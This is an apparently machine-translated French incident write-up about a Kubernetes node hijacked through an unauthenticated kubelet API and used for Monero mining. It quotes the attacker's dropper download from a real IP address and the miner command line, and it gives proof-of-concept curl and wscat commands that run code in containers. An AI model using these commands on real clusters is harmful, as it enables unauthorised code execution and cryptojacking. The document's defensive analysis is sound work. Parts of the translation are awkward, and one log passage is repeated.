
Pour ne rien savoir de Kubernetes, il fallait vivre dans une grotte depuis trois ans. L'infrastructure de développement Handy, CI / CD et la production sont construites sur l'écosystème multi-cluster de Kubernetes. Nous pouvons dire que nous sommes fans de Kubernetes dans Handy, c'est pourquoi nous avons été si surpris lorsque le cluster privé Kubernetes de notre collègue a été piraté le week-end dernier.
Ils ont été surpris - et se sont réjouis, car ils ont découvert à Kubernetes un problème peu connu. Dans cet article, nous verrons comment le cluster d'un collègue a été piraté et comment nous avons confirmé nos résultats en recréant cette attaque dans notre propre cluster. L'attaque a été testée dans Kubernetes 1.9, mais peut fonctionner sur des clusters plus anciens.
AVERTISSEMENT : Cet article concerne le serveur personnel de notre collègue. Infrastructure Handy Technologies n'a pas été compromise.
Hack
Le cluster défectueux était le seul nœud de déploiement Kubernetes fonctionnant au-dessus d'Alpine Linux. Le premier indicateur de piratage était un processus suspect fonctionnant comme un processus enfant du démon docker:
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B
le curling de point de terminaison renvoie le texte suivant:
Mining Proxy Online
Il semble que quelqu'un ait trouvé un moyen de mettre un logiciel de cryptage dans un conteneur de travail et de démarrer le processus.
Lors de la recherche du fichier udevs dans le répertoire de superposition de docker pour le conteneur (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) , un script dropper avec le nom «kube.lock» a été téléchargé et téléchargé.
De plus, la signature MD5 (a4404be67a41f144ea86a7838f357c26) pour le programme / tmp / udevs sur VirusTotal est définie comme un probable Monero Miner:

Donc, nous savons que le cracker a en quelque sorte placé le script kube.lock dans le conteneur et l'a exécuté. Mais comment?
L'accès public au serveur api kubernetes était ouvert, mais protégé par l'authentification par certificat. Tout d'abord, nous avons supposé une attaque sur la chaîne d'approvisionnement d'une des images travaillant dans le cluster. Cependant, après avoir étudié les journaux de kubelet, nous avons remarqué quelque chose:
/var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
' de l' exécution /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
On dirait que le cracker était en quelque sorte un exec exec dans kubelet. Google sur la demande "authentification Kubelet" a émis le texte de la documentation Kubernetes:
Par défaut, les demandes adressées au point de terminaison du kubelet HTTPS qui ne sont pas rejetées par d'autres méthodes d'authentification configurées sont traitées comme des demandes anonymes avec le système de nom d'utilisateur : anonyme et le système de groupe : non authentifié .
Authentification / autorisation Kubelet
Si aucun indicateur n'est spécifié dans Kubelet, alors par défaut, le mode d'acceptation des demandes d'API qui ne passent pas l'authentification est utilisé. Gardez à l'esprit que pour que le lien maître -> nœud fonctionne, le serveur API Kubernetes doit échanger des informations avec kubelet sur les nœuds.
Il s'est avéré que le serveur de notre collègue a également exposé publiquement les ports de kubelet (TCP 10250, TCP 10255). Bien que l'erreur soit évidente, il serait intéressant de vérifier comment votre propre Kubernetes est déployé.
Si les utilisateurs ont accès aux nœuds, l'API kubelet est une porte dérobée entièrement fonctionnelle pour le cluster qui n'a pas réussi l'authentification API.
Par conséquent, si vous rencontrez des problèmes pour activer l'authentification et l'autorisation (webhook, RBAC, etc.), assurez-vous que kubelet est protégé.
Il y a de sérieuses questions sur la sécurité des communications de Kubelet, et ce problème mérite plus d'attention.
Preuve de concept
Pour envoyer des commandes directement à kubelet, vous devez utiliser l'API comme décrit ici:

Kubelet écoute sur deux ports: 10255 et 10250. Le premier est un port HTTP en lecture seule, et le second est un port HTTPS qui peut tout faire.
Sélectionnez n'importe quel nœud du cluster et essayez de répertorier les modules:
curl --insecure https://kube-node-here:10250/pods | jq
La route pour exec , qui n'est pas documentée sur la page du kubelet, est similaire à la route du serveur API, mais nécessite deux requêtes: un POST initial et un GET ultérieur avec un client qui prend en charge SPDY (ou un client websocket, qui est également pris en charge).
Exécutez la commande dans un conteneur en cours d'exécution via kubelet.
Localisez celui qui s'exécute sur le nœud que vous souhaitez cibler sur la demande précédente. Exécutez la requête suivante avec curl:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"
Cela devrait renvoyer une réponse avec le code 302, qui redirige vers le flux:
< HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT
Utilisez wscat pour démarrer le flux:
wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected
Comme nous venons d' touch hello_world
, elle crée le fichier et se déconnecte. Si vous vouliez exécuter une commande avec sortie, vous verrez le résultat après avoir exécuté la commande ci-dessus.
Conclusion
Bien que ce comportement soit cohérent avec la documentation, beaucoup ne savent pas que sans la configuration appropriée, ils obtiennent une faille de sécurité dans l'environnement multi-utilisateur Kubernetes.
Nous avons couvert l'un des problèmes de sécurité chez Kubernetes. Commentez!
Patch du 14 mars 2018
Après une étude approfondie, il semble que même avec l'authentification Kubelet activée, elle ne s'applique qu'au port HTTPS (10250). Cela signifie que le port HTTP en lecture seule (10255) reste ouvert sans aucune fonctionnalité de sécurité autre que les ACL réseau.
Le port de lecture peut répertorier les spécifications du foyer sur la route /pods
, ce qui signifie l'accès aux données sensibles, telles que les variables d'environnement.
Il y a à peine 28 jours, le code a été modifié afin qu'un port non sécurisé soit désactivé par défaut.
Original: Analyse d'un hack Kubernetes - Backdooring via kubelet